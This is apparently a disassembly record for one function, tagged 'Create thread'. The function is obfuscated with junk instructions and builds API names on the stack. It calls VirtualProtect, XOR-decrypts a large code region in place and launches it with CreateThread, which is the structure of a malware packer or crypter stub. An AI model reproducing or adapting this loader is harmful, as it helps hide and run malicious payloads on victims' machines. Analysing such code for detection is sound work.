Function at 0x58f54a
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
xchg ecx, eax
xchg ecx, eax
call fcn.0058f93c
mov eax, eax
lea eax, [ebp - 0xd8]
push edx
pop edx
mov ebx, 0x61
pushfd
xor esi, 0xa54b36df
xor esi, 0xa54b36df
popfd
push edi
pop edi
add bx, 0xa
xchg ecx, edi
xchg edi, ecx
pushfd
push ecx
add esp, 4
popfd
mov word [eax], bx
mov esi, esi
sub bx, 6
pushfd
push 0x55645735
add esp, 4
popfd
mov word [eax + 2], bx
xchg ecx, ecx
add bx, 0xd
pushfd
xor esi, 0xfbae5762
xor esi, 0xfbae5762
popfd
xchg ebx, esi
xchg esi, ebx
mov word [eax + 4], bx
pushfd
push 0xc463eca
add esp, 4
popfd
mov eax, eax
sub bx, 4
mov eax, eax
pushfd
push ebx
add esp, 4
popfd
mov word [eax + 6], bx
pushfd
inc ecx
dec ecx
popfd
xchg ecx, ebx
xchg ebx, ecx
sub bx, 9
push eax
pop eax
mov word [eax + 8], bx
nop
add bx, 7
pushfd
push edx
add esp, 4
popfd
pushfd
push 0x6923417d
add esp, 4
popfd
mov word [eax + 0xa], bx
pushfd
inc edx
dec edx
popfd
pushfd
push eax
add esp, 4
popfd
sub bx, 0x39
pushfd
push edx
add esp, 4
popfd
mov word [eax + 0xc], bx
push esi
pop esi
mov edx, edx
dec bx
xchg edx, edx
mov word [eax + 0xe], bx
push ecx
push edi
pop edi
pop ecx
xchg ecx, ecx
sub bx, 4
pushfd
push 0x6cda1b3d
add esp, 4
popfd
mov word [eax + 0x10], bx
mov edx, edx
add bx, 0x36
push ebx
pop ebx
xchg edx, edx
mov word [eax + 0x12], bx
pushfd
xor esi, 0x86a59612
xor esi, 0x86a59612
popfd
add bx, 8
xchg edi, esi
xchg esi, edi
mov word [eax + 0x14], bx
pushfd
push 0x58255f1b
add esp, 4
popfd
mov word [eax + 0x16], bx
xchg ecx, ecx
mov ecx, ecx
mov word [eax + 0x18], 0
pushfd
inc esi
dec esi
popfd
xchg edi, esi
xchg esi, edi
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
pushfd
push 0xfbc6bed
add esp, 4
popfd
xchg ecx, eax
xchg ecx, eax
mov dword [ebp - 0x10], eax
nop
xchg edx, esi
xchg esi, edx
lea eax, [ebp - 0xd8]
xchg ebx, ecx
xchg ecx, ebx
pushfd
inc edi
dec edi
popfd
mov ebx, 0x61
xchg edx, edi
xchg edi, edx
push edi
push edx
pop edx
pop edi
sub bl, 0xb
pushfd
xor esi, 0xcd0eba83
xor esi, 0xcd0eba83
popfd
mov byte [eax], bl
xchg edx, edx
add bl, 0x13
mov edx, edx
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 1], bl
pushfd
push eax
add esp, 4
popfd
add bl, 9
pushfd
inc edx
dec edx
popfd
push edi
push eax
pop eax
pop edi
mov byte [eax + 2], bl
xchg edx, ecx
xchg ecx, edx
nop
add bl, 2
xchg edi, ebx
xchg ebx, edi
xchg edi, edi
mov byte [eax + 3], bl
pushfd
push esi
add esp, 4
popfd
pushfd
xor esi, 0x7724fea1
xor esi, 0x7724fea1
popfd
inc bl
push ebx
push eax
pop eax
pop ebx
mov edx, edx
mov byte [eax + 4], bl
push eax
push edi
pop edi
pop eax
sub bl, 0x14
xchg edi, edx
xchg edx, edi
mov byte [eax + 5], bl
push edi
pop edi
pushfd
xor ecx, 0x82c0c10d
xor ecx, 0x82c0c10d
popfd
add bl, 0xb
xchg edi, edx
xchg edx, edi
mov byte [eax + 6], bl
mov ecx, ecx
push esi
pop esi
sub bl, 0x1c
push edx
push ebx
pop ebx
pop edx
mov byte [eax + 7], bl
pushfd
xor edx, 0xf080aaa2
xor edx, 0xf080aaa2
popfd
add bl, 0x22
pushfd
inc edi
dec edi
popfd
pushfd
push edx
add esp, 4
popfd
mov byte [eax + 8], bl
pushfd
push 0x57ee153d
add esp, 4
popfd
sub bl, 3
xchg esi, esi
mov byte [eax + 9], bl
pushfd
push 0xe082e929
add esp, 4
popfd
mov edi, edi
add bl, 5
pushfd
push 0xde54fe2
add esp, 4
popfd
mov byte [eax + 0xa], bl
pushfd
push esi
add esp, 4
popfd
sub bl, 0xf
push ebx
push edx
pop edx
pop ebx
xchg edx, ebx
xchg ebx, edx
mov byte [eax + 0xb], bl
pushfd
inc edx
dec edx
popfd
pushfd
xor edx, 0xceb08b7b
xor edx, 0xceb08b7b
popfd
sub bl, 2
push esi
pop esi
push edx
pop edx
mov byte [eax + 0xc], bl
pushfd
push 0x304742d3
add esp, 4
popfd
add bl, 0x11
push edx
push eax
pop eax
pop edx
mov byte [eax + 0xd], bl
xchg edi, ecx
xchg ecx, edi
mov byte [eax + 0xe], 0
push eax
push ebx
pop ebx
pop eax
xchg esi, eax
xchg esi, eax
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
push edx
pop edx
pushfd
push 0xf1e78095
add esp, 4
popfd
mov dword [ebp - 0xc], eax
pushfd
xor ebx, 0xcaf2433a
xor ebx, 0xcaf2433a
popfd
lea eax, [ebp - 8]
mov ebx, ebx
push eax
push 4
push 0x1098d1
push entry0
call dword [ebp - 0xc]
pushfd
push 0x57933ea0
add esp, 4
popfd
mov edi, entry0
pushfd
xor edx, 0x552cdaf7
xor edx, 0x552cdaf7
popfd
mov esi, 0x40100e
push esi
push eax
pop eax
pop esi
xchg esi, esi
mov ecx, 0x1098d1
pushfd
push 0xbf509de5
add esp, 4
popfd
mov edx, 0x16a23416
pushfd
push 0x21bf60ae
add esp, 4
popfd
push edi
pop edi
mov ebx, 0xf004f637
pushfd
inc ebx
dec ebx
popfd
cld
mov edx, edx
lodsb al, byte [esi]
mov ecx, ecx
xor al, dl
mov edx, edx
stosb byte es:[edi], al
mov edi, edi
ror edx, 5
mov edi, edi
imul edx, edx, 7
nop
test ebx, 1
mov ebx, ebx
je 0x58f8aa
mov edi, edi
add esi, 1
mov esi, esi
ror ebx, 1
mov ecx, ecx
dec ecx
mov esi, esi
test ecx, ecx
xchg edi, edi
jne 0x58f884
pushfd
push 0xc91a1095
add esp, 4
popfd
pushfd
inc eax
dec eax
popfd
lea eax, [ebp - 8]
xchg edi, eax
xchg edi, eax
push eax
push 0x20
push 0x1098d1
push entry0
call dword [ebp - 0xc]
push ebx
push edi
pop edi
pop ebx
lea eax, [ebp - 4]
pushfd
inc edx
dec edx
popfd
pushfd
push 0x610226e4
add esp, 4
popfd
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
push eax
pop eax
mov esi, esi
pushfd
push 0xe44e96e5
add esp, 4
popfd
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
pushfd
push 0x4374042d
add esp, 4
popfd
xchg ebx, edx
xchg edx, ebx
jmp 0x58f905